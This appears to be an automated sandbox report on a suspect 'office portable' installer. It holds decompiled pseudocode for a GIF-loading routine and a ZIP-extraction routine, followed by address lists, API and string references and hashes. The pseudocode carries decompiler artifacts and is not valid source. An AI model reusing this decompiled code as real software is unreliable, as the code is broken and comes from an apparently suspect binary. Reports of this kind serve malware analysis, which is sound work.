				_push( *[fs:0x0]);
				_t259 =  *0xef6ac; // 0xcff43140
				_t260 = _t259 ^ _t495;
				_v24 = _t260;
				_push(_t260);
				 *[fs:0x0] =  &_v16;
				_t397 = __ecx;
				_v256 = __ecx;
				_t487 = 0;
				_v252 = 0;
				_v248 = 0xec498;
				_v96 = 0;
				_v92 = 0;
				_v88 = 0;
				_v80 = 0;
				_v76 = 0;
				E000C8F90( &_v16,  &_v232, __ecx);
				_t498 = _t496 - 0x10c;
				E000CA540( &_v248, _t508, "loader64.gif"); // executed
				_v8 = 0;
				if(_v152 == 0) {
					L64:
					_t476 = 0;
					__eflags = 0;
					L65:
					_v8 = 0xffffffff;
					_t199 = _v248 + 4; // 0x70
					 *((intOrPtr*)(_t495 +  *_t199 - 0xf4)) = 0xec42c;
					_t203 = _v248 + 4; // 0xcbdcd
					_t204 =  *_t203 - 0x70; // 0xcbd5d
					 *((intOrPtr*)(_t495 +  *_t203 - 0xf8)) = _t204;
					_t268 = _v152;
					_v232 = 0xec3ec;
					if(_t268 != 0) {
						_t470 = _v220;
						if( *_t470 ==  &_v164) {
							 *_t470 = _v176;
							 *_v204 = _v172;
							 *_v188 = 0;
							_t268 = _v152;
						}
					}
					if(_v156 != 0) {
						_t531 = _t268;
						if(_t268 != 0) {
							E000CB4C0( &_v232, _t470);
							_push(_v152);
							E000CE323(_t397, _t476, _t487, _t531);
							_t498 = _t498 + 4;
						}
						_v220 =  &_v228;
						_v216 =  &_v224;
						_v204 =  &_v212;
						_v200 =  &_v208;
						_v188 =  &_v196;
						_v184 =  &_v192;
						_t285 =  *0xf1bf0; // 0x0
						_v156 = 0;
						_v163 = 0;
						_v224 = 0;
						_v208 = 0;
						_v192 = 0;
						_v228 = 0;
						_v212 = 0;
						_v196 = 0;
						_v152 = 0;
						_v160 = _t285;
						_v168 = 0;
					}
					_t488 = _v180;
					_v232 = 0xec43c;
					if(_t488 != 0) {
						_t414 =  *_t488;
						if(_t414 != 0) {
							_t277 =  *((intOrPtr*)( *_t414 + 8))();
							if(_t277 != 0) {
								 *((intOrPtr*)( *_t277))(1);
							}
						}
						L000CC7D6(_t488);
						_t498 = _t498 + 4;
					}
					_t246 = _v248 + 4; // 0xcbdcd
					 *((intOrPtr*)(_t495 +  *_t246 - 0xf4)) = 0xec47c;
					_t251 = _v248 + 4; // 0xcbdd8
					_t252 =  *_t251 - 0x18; // 0xcbdc0
					 *((intOrPtr*)(_t495 +  *_t251 - 0xf8)) = _t252;
					_v136 = 0xec4a4;
					E000CC5E3( &_v136);
					 *[fs:0x0] = _v16;
					_pop(_t477);
					_pop(_t489);
					_pop(_t398);
					return E000CC7C7(_t398, _v24 ^ _t495,  *_t251, _t477, _t489);
				}
				E000C9DD0( &_v248, __edx,  &_v32, 6, 0); // executed
				_t510 = _v32 - 0x4947;
				if(_t510 != 0) {
					goto L64;
				}
				E000C9DD0( &_v248, __edx,  &_v60, 7, 0);
				_t425 = (_v56 & 7) + 1;
				 *__ecx = _v60 & 0x0000ffff;
				_t479 = 1 << _t425;
				_v268 = _t425;
				__ecx[1] = _v58 & 0x0000ffff;
				_t470 = 4 >> 0x20;
				__ecx[2] = 0;
				_push( ~(0 | _t510 > 0x00000000) | 4);
				_t300 = E000CBDF0(__ecx, _t479, _t510);
				_t498 = _t498 + 4;
				_t399 = _t300;
				_v272 = _t399;
				if((_v56 & 0x00000080) == 0) {
					_t301 = 0;
					__eflags = 0;
					_t43 = _t399 + 2; // 0x2
					_t430 = _t43;
					do {
						 *((char*)(_t430 - 2)) = _t301;
						 *((char*)(_t430 - 1)) = _t301;
						 *_t430 = _t301;
						_t301 = _t301 + 1;
						_t430 = _t430 + 4;
						__eflags = _t301 - 0x100;
					} while (_t301 < 0x100);
					while(1) {
						L11:
						_t302 = E000C9C40( &_v248);
						if(_t302 != 0x21) {
							goto L24;
						}
						if(E000C9C40( &_v248) == 0xf9) {
							E000C9DD0( &_v248, _t470,  &_v40, 5, 0);
							_t487 = _t487 + 1;
							_v252 = _t487;
							E000C9C40( &_v248);
							L19:
							_t397 = _v256;
							L20:
							_t56 = _v248 + 4; // 0x70
							if( *((intOrPtr*)(_t495 +  *_t56 - 0xe8)) == 0) {
								_t399 = _v272;
								continue;
							}
							L21:
							if(_v152 != 0) {
								_t303 = E000CB4C0( &_v232, _t470);
								_push(_v152);
								__eflags = _t303;
								_t491 =  ==  ? 0 :  &_v232; // executed
								_t304 = E000CE323(_t397, _t479, _t491, _t303); // executed
								_t498 = _t498 + 4;
								__eflags = _t304;
								_t487 =  !=  ? 0 : _t491;
							} else {
								_t487 = 0;
							}
							_v220 =  &_v228;
							_v216 =  &_v224;
							_v204 =  &_v212;
							_v200 =  &_v208;
							_v188 =  &_v196;
							_v184 =  &_v192;
							_t311 =  *0xf1bf0; // 0x0
							_v156 = 0;
							_v163 = 0;
							_v224 = 0;
							_v208 = 0;
							_v192 = 0;
							_v228 = 0;
							_v212 = 0;
							_v196 = 0;
							_v152 = 0;
							_v160 = _t311;
							_v168 = 0;
							if(_t487 == 0) {
								_t179 = _v248 + 4; // 0x70
								_t436 =  &_v248 +  *_t179;
								_t180 = _t436 + 0xc; // 0xc85d0
								_t315 =  *_t180 | 0x00000002;
								if( *((intOrPtr*)(_t436 + 0x38)) == _t487) {
									_t315 = _t315 | 0x00000004;
								}
								_t316 = _t315 & 0x00000017;
								 *(_t436 + 0xc) = _t316;
								_t183 = _t436 + 0x10; // 0xecde8
								_t438 =  *_t183 & _t316;
								if(_t438 != 0) {
									_v264 = 1;
									_v260 = 0xf0a40;
									_push( &_v264);
									if((_t438 & 0x00000004) != 0) {
										_push("ios_base::badbit set");
										_t438 =  &_v292;
										E000C8360(_t438);
										E000CEBFB( &_v292, 0xed7a8);
									}
									_t439 =  &_v292;
									if((_t438 & 0x00000002) != 0) {
										_push("ios_base::failbit set");
										E000C8360( &_v292);
										E000CEBFB( &_v292, 0xed7a8);
									}
									_push("ios_base::eofbit set");
									E000C8360(_t439);
									E000CEBFB( &_v292, 0xed7a8);
								}
							}
							_t476 =  *((intOrPtr*)(_t397 + 0x10));
							goto L65;
						}
						_t493 = E000C9C40( &_v248);
						_t516 = _t493;
						if(_t516 == 0) {
							L18:
							_t487 = _v252;
							goto L19;
						} else {
							goto L14;
						}
						do {
							L14:
							if(_t516 <= 0) {
								goto L17;
							}
							do {
								E000C9C40( &_v248);
								_t493 = _t493 - 1;
							} while (_t493 != 0);
							L17:
							_t493 = E000C9C40( &_v248);
						} while (_t493 != 0);
						goto L18;
						L24:
						__eflags = _t302 - 0x2c;
						if(__eflags != 0) {
							_t397 = _v256;
							__eflags = _t302 - 0x3b;
							if(_t302 == 0x3b) {
								goto L21;
							}
							goto L20;
						}
						_push(0x30);
						_t492 = E000CCE6F(_t399, _t479, __eflags);
						_t500 = _t498 + 4;
						__eflags = _t492;
						if(_t492 == 0) {
							_t492 = 0;
							__eflags = 0;
						} else {
							 *(_t492 + 0xc) = 0;
							 *(_t492 + 0x10) = 0;
							 *(_t492 + 0x2c) = 0;
						}
						E000C9DD0( &_v248, _t470,  &_v52, 9, 0);
						_t332 = _v44 & 0x000000ff;
						_t482 = _t332 >> 0x00000003 & 0x00000001;
						__eflags = _t482;
						if(_t482 == 0) {
							_t333 = _v268;
						} else {
							_t333 = (_t332 & 0x00000007) + 1;
						}
						E000C8620(_t399, _t492, _v48 & 0x0000ffff, _v46 & 0x0000ffff, _t333); // executed
						__eflags = _v252;
						 *(_t492 + 0x1c) = _v52 & 0x0000ffff;
						_t338 = _v50 & 0x0000ffff;
						 *(_t492 + 0x20) = _t338;
						if(_v252 != 0) {
							__eflags = _v39 & 0x00000001;
							if((_v39 & 0x00000001) == 0) {
								_t378 = _t338 | 0xffffffff;
								__eflags = _t378;
							} else {
								_t378 = _v36 & 0x000000ff;
							}
							 *(_t492 + 0x18) = _t378;
							_t380 = _v39 & 0x0000001c;
							__eflags = 1 - _t380;
							asm("sbb eax, eax");
							 *(_t492 + 0x28) =  ~_t380;
							_t384 = (_v38 & 0x0000ffff) + (_v38 & 0x0000ffff) * 4 + (_v38 & 0x0000ffff) + (_v38 & 0x0000ffff) * 4;
							__eflags = _t384;
							 *(_t492 + 0x24) = _t384;
						}
						_t341 = 1 <<  *(_t492 + 8) << 2;
						__eflags = _t482;
						if(_t482 == 0) {
							E000CE520( *(_t492 + 0x10), _t399, _t341);
							_t500 = _t500 + 0xc;
						} else {
							E000C9DD0( &_v248, _t470,  *(_t492 + 0x10), _t341, 0);
						}
						_v260 = E000C9C40( &_v248) & 0x0000ffff;
						_t346 = E000CA160( &_v248,  &_v296); // executed
						_t401 =  *((intOrPtr*)(_t346 + 8)) +  *_t346;
						_t483 = _t401;
						_t347 = E000C9C40( &_v248);
						__eflags = _t347;
						if(_t347 == 0) {
							L42:
							_t501 = _t500 - 0x18;
							_t446 = _t501;
							asm("cdq");
							 *_t446 = _t401;
							 *(_t446 + 4) = _t470;
							 *(_t446 + 8) = 0;
							 *(_t446 + 0xc) = 0;
							 *(_t446 + 0x10) = 0;
							E000C9F10(_t401,  &_v248, _t483); // executed
							_push(_t483 - _t401 + 4);
							_t350 = E000CBDF0(_t401, _t483 - _t401 + 4, __eflags);
							_t502 = _t501 + 4;
							_v252 = _t350;
							_t402 = _t350; // executed
							_t351 = E000C9C40( &_v248); // executed
							_t479 = _t351;
							__eflags = _t479;
							if(_t479 == 0) {
								L44:
								_t470 =  *(_t492 + 0xc);
								_t357 = E000C9870(_v252, _t470, _v260,  *((intOrPtr*)(_t492 + 0x14)), _v48 & 0x0000ffff, _v46 & 0x0000ffff, (_v44 & 0x000000ff) >> 0x00000006 & 0x00000001);
								_t503 = _t502 + 0x14;
								__eflags = _t357;
								if(__eflags == 0) {
									L000CCEBE( *(_t492 + 0x2c));
									L000CCEBE( *(_t492 + 0xc));
									L000CC7D6(_t492);
									_t397 = _v256;
									_t506 = _t503 + 0xc;
									L50:
									L000CCEBE(_v252);
									_t498 = _t506 + 4;
									_t487 = 0;
									_v252 = 0;
									goto L20;
								}
								_t364 =  *((intOrPtr*)(_v256 + 0x10)) + 1;
								_t470 = _t364 * 4 >> 0x20;
								_push( ~(0 | __eflags > 0x00000000) | _t364 * 0x00000004);
								_t366 = E000CBDF0(_t402, _t479, __eflags);
								_t454 = _v256;
								_t479 = 0;
								_t507 = _t503 + 4;
								_t403 = _t366;
								__eflags =  *(_t454 + 0x10);
								if( *(_t454 + 0x10) <= 0) {
									L48:
									L000CCEBE( *((intOrPtr*)(_t454 + 0xc)));
									_t368 = _v256;
									_t506 = _t507 + 4;
									 *((intOrPtr*)(_t368 + 0xc)) = _t403;
									 *(_t403 + _t479 * 4) = _t492;
									_t397 = _t368;
									 *((intOrPtr*)(_t397 + 0x10)) =  *((intOrPtr*)(_t397 + 0x10)) + 1;
									goto L50;
								}
								do {
									_t479 = _t479 + 1;
									 *((intOrPtr*)(_t403 + _t479 * 4 - 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t454 + 0xc)) + _t479 * 4 - 4));
									__eflags = _t479 -  *(_t454 + 0x10);
								} while (_t479 <  *(_t454 + 0x10));
								goto L48;
							} else {
								goto L43;
							}
							do {
								L43:
								asm("cdq");
								E000C9DD0( &_v248, _t470, _t402, _t479, _t470);
								_t402 = _t402 + _t479; // executed
								_t373 = E000C9C40( &_v248); // executed
								_t479 = _t373;
								__eflags = _t479;
							} while (_t479 != 0);
							goto L44;
						} else {
							do {
								_t483 = _t483 + _t347 + 1;
								_t500 = _t500 - 0x18;
								_t457 = _t500;
								asm("cdq");
								 *_t457 = _t483;
								 *(_t457 + 4) = _t470;
								 *(_t457 + 8) = 0;
								 *(_t457 + 0xc) = 0;
								 *(_t457 + 0x10) = 0;
								E000C9F10(_t401,  &_v248, _t483); // executed
								_t347 = E000C9C40( &_v248); // executed
								__eflags = _t347;
							} while (_t347 != 0);
							goto L42;
						}
					}
				}
				if(1 <= 0) {
					goto L11;
				} else {
					_t36 = _t399 + 1; // 0x1
					_t494 = _t36;
					goto L5;
					L5:
					 *((char*)(_t494 + 1)) = E000C9C40( &_v248);
					 *_t494 = E000C9C40( &_v248);
					 *((char*)(_t494 - 1)) = E000C9C40( &_v248);
					_t494 = _t494 + 4;
					_t479 = _t479 - 1;
					if(_t479 != 0) {
						goto L5;
					} else {
						_t487 = 0;
						goto L11;
					}
				}
			}

0x000c9000
0x000c9003
0x000c9005
0x000c9010
0x000c9017
0x000c901c
0x000c901e
0x000c9024
0x000c9028
0x000c902e
0x000c9030
0x000c9036
0x000c903f
0x000c9045
0x000c904f
0x000c9052
0x000c9055
0x000c9058
0x000c905b
0x000c905e
0x000c9063
0x000c9071
0x000c9076
0x000c907f
0x000c967a
0x000c967a
0x000c967a
0x000c967c
0x000c967c
0x000c9689
0x000c968c
0x000c969d
0x000c96a0
0x000c96a3
0x000c96aa
0x000c96b0
0x000c96bc
0x000c96be
0x000c96cc
0x000c96da
0x000c96e2
0x000c96ec
0x000c96ee
0x000c96ee
0x000c96cc
0x000c96fb
0x000c9701
0x000c9703
0x000c970b
0x000c9710
0x000c9716
0x000c971b
0x000c971b
0x000c9724
0x000c9730
0x000c973c
0x000c9748
0x000c9754
0x000c9760
0x000c9766
0x000c976b
0x000c9772
0x000c9779
0x000c9783
0x000c978d
0x000c9797
0x000c97a1
0x000c97ab
0x000c97b5
0x000c97bf
0x000c97c5
0x000c97c5
0x000c97cf
0x000c97d5
0x000c97e1
0x000c97e3
0x000c97e7
0x000c97eb
0x000c97f0
0x000c97f8
0x000c97f8
0x000c97f0
0x000c97fb
0x000c9800
0x000c9800
0x000c9809
0x000c980c
0x000c9823
0x000c9827
0x000c982a
0x000c9831
0x000c983b
0x000c9848
0x000c9850
0x000c9851
0x000c9852
0x000c9860
0x000c9860
0x000c9092
0x000c909f
0x000c90a2
0x00000000
0x00000000
0x000c90b5
0x000c90c5
0x000c90c6
0x000c90d1
0x000c90d3
0x000c90d9
0x000c90e5
0x000c90ea
0x000c90f1
0x000c90f2
0x000c90f7
0x000c90fe
0x000c9100
0x000c9106
0x000c9143
0x000c9143
0x000c9145
0x000c9145
0x000c9148
0x000c9148
0x000c914b
0x000c914e
0x000c9150
0x000c9151
0x000c9154
0x000c9154
0x000c9166
0x000c9166
0x000c916c
0x000c9174
0x00000000
0x00000000
0x000c9190
0x000c9200
0x000c9205
0x000c920c
0x000c9212
0x000c91c5
0x000c91c5
0x000c91cb
0x000c91d1
0x000c91dc
0x000c9160
0x00000000
0x000c9160
0x000c91de
0x000c91eb
0x000c94e9
0x000c94ee
0x000c94f6
0x000c94f8
0x000c94fb
0x000c9502
0x000c9505
0x000c9507
0x000c91f1
0x000c91f1
0x000c91f1
0x000c9510
0x000c951c
0x000c9528
0x000c9534
0x000c9540
0x000c954c
0x000c9552
0x000c9557
0x000c955e
0x000c9565
0x000c956f
0x000c9579
0x000c9583
0x000c958d
0x000c9597
0x000c95a1
0x000c95ab
0x000c95b1
0x000c95bd
0x000c95cf
0x000c95d2
0x000c95d4
0x000c95d7
0x000c95dd
0x000c95df
0x000c95df
0x000c95e2
0x000c95e5
0x000c95e8
0x000c95eb
0x000c95ed
0x000c95f9
0x000c9603
0x000c960d
0x000c9611
0x000c9613
0x000c9618
0x000c961e
0x000c962f
0x000c962f
0x000c9637
0x000c963d
0x000c963f
0x000c9644
0x000c9655
0x000c9655
0x000c965a
0x000c965f
0x000c9670
0x000c9670
0x000c95ed
0x000c9675
0x00000000
0x000c9675
0x000c9197
0x000c9199
0x000c919b
0x000c91bf
0x000c91bf
0x00000000
0x00000000
0x00000000
0x00000000
0x000c919d
0x000c919d
0x000c919d
0x00000000
0x00000000
0x000c91a0
0x000c91a6
0x000c91ab
0x000c91ab
0x000c91ae
0x000c91b9
0x000c91bb
0x00000000
0x000c9219
0x000c9219
0x000c921c
0x000c94cf
0x000c94d5
0x000c94d8
0x00000000
0x00000000
0x00000000
0x000c94de
0x000c9222
0x000c9229
0x000c922b
0x000c922e
0x000c9230
0x000c9249
0x000c9249
0x000c9232
0x000c9232
0x000c9239
0x000c9240
0x000c9240
0x000c9259
0x000c925e
0x000c9267
0x000c9267
0x000c926a
0x000c9272
0x000c926c
0x000c926f
0x000c926f
0x000c9285
0x000c928a
0x000c9295
0x000c9298
0x000c929c
0x000c929f
0x000c92a1
0x000c92a5
0x000c92ad
0x000c92ad
0x000c92a7
0x000c92a7
0x000c92a7
0x000c92b0
0x000c92b6
0x000c92ba
0x000c92bc
0x000c92c0
0x000c92ca
0x000c92ca
0x000c92cc
0x000c92cc
0x000c92d9
0x000c92dc
0x000c92de
0x000c92f8
0x000c92fd
0x000c92e0
0x000c92ec
0x000c92ec
0x000c930e
0x000c9321
0x000c932f
0x000c9331
0x000c9333
0x000c9338
0x000c933a
0x000c937f
0x000c937f
0x000c9382
0x000c9386
0x000c9387
0x000c9389
0x000c938c
0x000c9393
0x000c939a
0x000c93a7
0x000c93b1
0x000c93b2
0x000c93b7
0x000c93c0
0x000c93c6
0x000c93c8
0x000c93cd
0x000c93cf
0x000c93d1
0x000c93f7
0x000c93fb
0x000c941e
0x000c9423
0x000c9426
0x000c9428
0x000c9492
0x000c949d
0x000c94a6
0x000c94ab
0x000c94b1
0x000c94b4
0x000c94ba
0x000c94bf
0x000c94c2
0x000c94c4
0x00000000
0x000c94c4
0x000c9435
0x000c943b
0x000c9444
0x000c9445
0x000c944a
0x000c9450
0x000c9452
0x000c9455
0x000c9457
0x000c945a
0x000c9471
0x000c9474
0x000c9479
0x000c947f
0x000c9482
0x000c9485
0x000c9488
0x000c948a
0x00000000
0x000c948a
0x000c9460
0x000c9463
0x000c9468
0x000c946c
0x000c946c
0x00000000
0x00000000
0x00000000
0x00000000
0x000c93d3
0x000c93d3
0x000c93d5
0x000c93df
0x000c93ea
0x000c93ec
0x000c93f1
0x000c93f3
0x000c93f3
0x00000000
0x000c9340
0x000c9340
0x000c9341
0x000c9343
0x000c9346
0x000c934a
0x000c934b
0x000c934d
0x000c9350
0x000c9357
0x000c935e
0x000c936b
0x000c9376
0x000c937b
0x000c937b
0x00000000
0x000c9340
0x000c933a
0x000c9166
0x000c910a
0x00000000
0x000c910c
0x000c910c
0x000c910c
0x000c910c
0x000c9110
0x000c9121
0x000c912f
0x000c9136
0x000c9139
0x000c913c
0x000c913d
0x00000000
0x000c913f
0x000c913f
0x00000000
0x000c913f
0x000c913d

APIs

_memmove.LIBCMT ref: 000C92F8
__CxxThrowException@8.LIBCMT ref: 000C962F
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000C983B

Strings

ios_base::eofbit set, xrefs: 000C965A
ios_base::badbit set, xrefs: 000C9613
loader64.gif, xrefs: 000C906C
ios_base::failbit set, xrefs: 000C963F

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Exception@8Ios_base_dtorThrow_memmovestd::ios_base::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$loader64.gif
API String ID: 1956908864-2755335483
Opcode ID: 8c8d9ff63b0bd36e07d4fad92c219ae07353ddba3c1daabd5ac024f3048c20f9
Instruction ID: 273012ca9a0dd4c261861728cf35f4d374fde7ed5de3b76137f35b2ae7e56118
Opcode Fuzzy Hash: 8c8d9ff63b0bd36e07d4fad92c219ae07353ddba3c1daabd5ac024f3048c20f9
Instruction Fuzzy Hash: FB325971900269CBDB24DF64C995FEEB7B4AF04300F1441EEE94AA7282EB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000C7270, Relevance: 12.8, APIs: 3, Strings: 4, Instructions: 513
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E000C7270(intOrPtr* __ecx, void* __edx, signed int _a4, void* _a8) {
				signed int _v8;
				char _v276;
				char _v540;
				char _v542;
				char _v543;
				signed char _v544;
				struct _FILETIME _v552;
				struct _SYSTEMTIME _v568;
				struct _FILETIME _v576;
				struct _FILETIME _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				intOrPtr* _v604;
				unsigned int _v632;
				LONG* _v656;
				LONG* _v660;
				signed int _v668;
				unsigned int _v684;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t186;
				signed int _t190;
				signed int _t195;
				signed int _t198;
				void* _t199;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				signed int _t216;
				signed int _t228;
				LONG* _t251;
				signed int _t257;
				signed int _t260;
				signed int _t261;
				signed char _t262;
				signed int _t278;
				signed int _t287;
				LONG* _t289;
				signed int _t301;
				signed int _t306;
				signed int _t308;
				void* _t318;
				signed int _t319;
				signed int _t324;
				char* _t327;
				signed char _t333;
				signed int _t336;
				long _t338;
				signed int _t339;
				intOrPtr* _t345;
				signed int _t348;
				unsigned int _t380;
				signed int _t381;
				void* _t384;
				signed int _t385;
				signed int _t386;
				intOrPtr _t388;
				signed int* _t390;
				intOrPtr* _t398;
				void* _t400;
				void* _t402;
				signed int _t404;
				void* _t405;
				void* _t408;
				void* _t410;
				void* _t411;
				void* _t412;

				_t377 = __edx;
				_t186 =  *0xef6ac; // 0xcff43140
				_v8 = _t186 ^ _t404;
				_t318 = _a8;
				_t397 = _a4;
				_t390 = __ecx;
				_v604 = __ecx;
				_v596 = _t318;
				if(_t397 < 0xffffffff) {
					L83:
					__eflags = _v8 ^ _t404;
					return E000CC7C7(_t318, _v8 ^ _t404, _t377, _t390, _t397);
				} else {
					_t323 =  *__ecx;
					if(_t397 >=  *((intOrPtr*)( *__ecx + 4))) {
						goto L83;
					} else {
						if( *((intOrPtr*)(__ecx + 4)) != 0xffffffff) {
							E000C7140(_t323, __edx);
						}
						_t390[1] = 0xffffffff;
						if(_t397 != _t390[0x4d]) {
							__eflags = _t397 - 0xffffffff;
							if(_t397 != 0xffffffff) {
								_t324 =  *_t390;
								__eflags = _t397 -  *((intOrPtr*)(0x10 + _t324));
								if(_t397 <  *((intOrPtr*)(0x10 + _t324))) {
									E000C6A90(_t324);
								}
								_t190 =  *_t390;
								__eflags =  *((intOrPtr*)(0x10 + _t190)) - _t397;
								if( *((intOrPtr*)(0x10 + _t190)) < _t397) {
									_t319 = _t397;
									do {
										_t397 =  *_t390;
										__eflags = _t397;
										if(_t397 != 0) {
											__eflags =  *(_t397 + 0x18);
											if( *(_t397 + 0x18) != 0) {
												_t388 =  *((intOrPtr*)(0x10 + _t397)) + 1;
												__eflags = _t388 -  *((intOrPtr*)(_t397 + 4));
												if(_t388 !=  *((intOrPtr*)(_t397 + 4))) {
													 *((intOrPtr*)(_t397 + 0x14)) =  *((intOrPtr*)(_t397 + 0x14)) +  *((intOrPtr*)(_t397 + 0x48)) + 0x2e +  *((intOrPtr*)(_t397 + 0x50)) +  *((intOrPtr*)(_t397 + 0x4c));
													 *((intOrPtr*)(0x10 + _t397)) = _t388;
													_t306 = E000C66B0(_t397, _t397 + 0x28, _t397 + 0x78, 0, 0);
													_t405 = _t405 - 0x10 + 0x1c;
													asm("sbb eax, eax");
													_t308 =  ~_t306 + 1;
													__eflags = _t308;
													 *(_t397 + 0x18) = _t308;
												}
											}
										}
										_t301 =  *_t390;
										__eflags =  *((intOrPtr*)(0x10 + _t301)) - _t319;
									} while ( *((intOrPtr*)(0x10 + _t301)) < _t319);
									_t318 = _v596;
								}
								E000C66B0( *_t390,  &_v684, 0,  &_v540, 0x104); // executed
								_t379 =  &(_v552.dwHighDateTime);
								_t195 = E000C6AD0( *_t390,  &(_v552.dwHighDateTime),  &_v588,  &_v592); // executed
								_t408 = _t405 - 0x10 + 0x24;
								__eflags = _t195;
								if(_t195 == 0) {
									_t327 =  *( *_t390);
									__eflags =  *_t327;
									if(__eflags == 0) {
										 *((intOrPtr*)(_t327 + 0x1c)) = _v588;
										goto L25;
									} else {
										__eflags =  *((char*)(_t327 + 1));
										if(__eflags == 0) {
											L27:
											__eflags = _v8 ^ _t404;
											return E000CC7C7(_t318, _v8 ^ _t404, _t379, _t390, _t397);
										} else {
											SetFilePointer( *(_t327 + 4),  *((intOrPtr*)(_t327 + 0xc)) + _v588, 0, 0); // executed
											L25:
											_push(_v592);
											_t198 = E000CCE6F(_t318, _t390, __eflags);
											_t397 = _t198;
											_t379 = 1;
											_v588 = _t198;
											_t199 = E000C60A0(_t198, 1, _v592,  *( *_t390));
											_t410 = _t408 + 0xc;
											__eflags = _t199 - _v592;
											if(_t199 == _v592) {
												 *_t318 =  *(0x10 +  *_t390);
												E000CD14B( &_v276, 0x104,  &_v540);
												_t411 = _t410 + 0xc;
												_t398 =  &_v276;
												while(1) {
													_t205 =  *_t398;
													__eflags = _t205;
													if(_t205 == 0) {
														goto L32;
													}
													L30:
													__eflags =  *((char*)(_t398 + 1)) - 0x3a;
													if( *((char*)(_t398 + 1)) == 0x3a) {
														_t398 = _t398 + 2;
														while(1) {
															_t205 =  *_t398;
															__eflags = _t205;
															if(_t205 == 0) {
																goto L32;
															}
															goto L30;
														}
													}
													L32:
													__eflags = _t205 - 0x5c;
													if(_t205 == 0x5c) {
														_t398 = _t398 + 1;
														while(1) {
															_t205 =  *_t398;
															__eflags = _t205;
															if(_t205 == 0) {
																goto L32;
															}
															goto L30;
														}
													}
													__eflags = _t205 - 0x2f;
													if(_t205 == 0x2f) {
														_t398 = _t398 + 1;
														while(1) {
															_t205 =  *_t398;
															__eflags = _t205;
															if(_t205 == 0) {
																goto L32;
															}
															goto L30;
														}
													}
													_t206 = E000CD228(_t398, "\\..\\");
													_t411 = _t411 + 8;
													__eflags = _t206;
													if(_t206 != 0) {
														_t63 = _t206 + 4; // 0x4
														_t398 = _t63;
														while(1) {
															_t205 =  *_t398;
															__eflags = _t205;
															if(_t205 == 0) {
																goto L32;
															}
															goto L30;
														}
													}
													_t207 = E000CD228(_t398, "\\../");
													_t411 = _t411 + 8;
													__eflags = _t207;
													if(_t207 != 0) {
														_t64 = _t207 + 4; // 0x4
														_t398 = _t64;
														while(1) {
															_t205 =  *_t398;
															__eflags = _t205;
															if(_t205 == 0) {
																goto L32;
															}
															goto L30;
														}
													}
													_t208 = E000CD228(_t398, "/../");
													_t411 = _t411 + 8;
													__eflags = _t208;
													if(_t208 != 0) {
														_t65 = _t208 + 4; // 0x4
														_t398 = _t65;
														while(1) {
															_t205 =  *_t398;
															__eflags = _t205;
															if(_t205 == 0) {
																goto L32;
															}
															goto L30;
														}
														goto L32;
													}
													_t209 = E000CD228(_t398, "/..\\");
													_t411 = _t411 + 8;
													__eflags = _t209;
													if(_t209 != 0) {
														_t66 = _t209 + 4; // 0x4
														_t398 = _t66;
														continue;
													}
													_t67 = _t318 + 4; // 0xc29c4
													E000CD14B(_t67, 0x104, _t398);
													_t380 = _v632;
													_v544 = _t380 >> 0x0000001e & 0xffffff01;
													_t216 = _v684 >> 8;
													_t412 = _t411 + 0xc;
													_t333 =  !(_t380 >> 0x17) & 0x00000001;
													_v600 = 0;
													_v596 = 0;
													_v552.dwHighDateTime = 1;
													__eflags = _t216;
													if(_t216 == 0) {
														L48:
														_v600 = _t380 >> 0x00000001 & 0xffffff01;
														_v596 = _t380 >> 0x00000002 & 0xffffff01;
														_v544 = _t380 >> 0x00000004 & 0x00000001;
														_t333 = _t380 & 0x00000001;
														_t228 = _t380 >> 0x00000005 & 0xffffff01;
													} else {
														__eflags = _t216 - 7;
														if(_t216 == 7) {
															goto L48;
														} else {
															__eflags = _t216 - 0xb;
															if(_t216 == 0xb) {
																goto L48;
															} else {
																__eflags = _t216 - 0xe;
																if(_t216 != 0xe) {
																	_t228 = _v552.dwHighDateTime;
																} else {
																	goto L48;
																}
															}
														}
													}
													__eflags = _v544;
													 *(_t318 + 0x108) = 0;
													if(_v544 != 0) {
														 *(_t318 + 0x108) = 0x10;
													}
													__eflags = _t228;
													if(_t228 != 0) {
														_t81 = _t318 + 0x108;
														 *_t81 =  *(_t318 + 0x108) | 0x00000020;
														__eflags =  *_t81;
													}
													__eflags = _v600;
													if(_v600 != 0) {
														_t84 = _t318 + 0x108;
														 *_t84 =  *(_t318 + 0x108) | 0x00000002;
														__eflags =  *_t84;
													}
													__eflags = _t333;
													if(_t333 != 0) {
														_t86 = _t318 + 0x108;
														 *_t86 =  *(_t318 + 0x108) | 0x00000001;
														__eflags =  *_t86;
													}
													__eflags = _v596;
													if(_v596 != 0) {
														_t89 = _t318 + 0x108;
														 *_t89 =  *(_t318 + 0x108) | 0x00000004;
														__eflags =  *_t89;
													}
													_t381 = _v668;
													 *(_t318 + 0x124) = _v660;
													 *(_t318 + 0x128) = _v656;
													_t336 = _t381 >> 0x10;
													_v568.wYear = (_t336 >> 9) + 0x7bc;
													_v568.wMonth = _t336 >> 0x00000005 & 0x0000000f;
													_v568.wHour = _t381 >> 0xb;
													_v568.wMinute = _t381 >> 0x00000005 & 0x0000003f;
													_v568.wMilliseconds = 0;
													_t382 = _t381 & 0x0000001f;
													_t383 = (_t381 & 0x0000001f) + _t382;
													_v568.wDay = _t336 & 0x0000001f;
													_v568.wSecond = (_t381 & 0x0000001f) + _t382;
													SystemTimeToFileTime( &_v568,  &_v552);
													_v576.dwLowDateTime = _v552.dwLowDateTime;
													_v576.dwHighDateTime = _v552.dwHighDateTime;
